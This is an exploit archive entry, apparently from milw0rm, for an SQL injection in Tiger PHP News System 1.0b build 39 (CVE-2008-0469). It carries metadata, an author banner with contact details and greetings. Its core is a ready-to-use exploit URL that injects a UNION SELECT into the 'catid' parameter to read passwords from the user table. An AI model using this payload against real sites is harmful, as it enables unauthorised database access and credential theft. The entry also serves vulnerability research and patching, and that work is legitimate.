Tiger PHP News System 1.0b build 39 - SQL Injection

Author: 0in
type: webapps
platform: php
port: 
date_added: 2008-01-24 
date_updated:  
verified: 1 
codes: OSVDB-40539;CVE-2008-0469 
tags: 
aliases:  
screenshot_url:  
application_url: 

/*
 *Tiger PHP News System SQL Injection
 *Bug found bY 0in from DaRk-Coders Group!
 *Homepage: http://dark-coders.4rh.eu or http://dark-coders.prv.pl
 *IRC:#dark-coders at irc.freenode.org
 *Email: 0in(dot)email(at)gmail(dot)com
*/

 Script home: http://tpns.k-na.se/
 Exploit: http://localhost/?page=newscat&catid=-666%20union%20select%20passwd%20from%20user

 Greetings to:All Dark-Coders Team Members - Die-Angel,m4r1usz,suN8Hclf,Djlinux,
 Aristo89

# milw0rm.com [2008-01-25]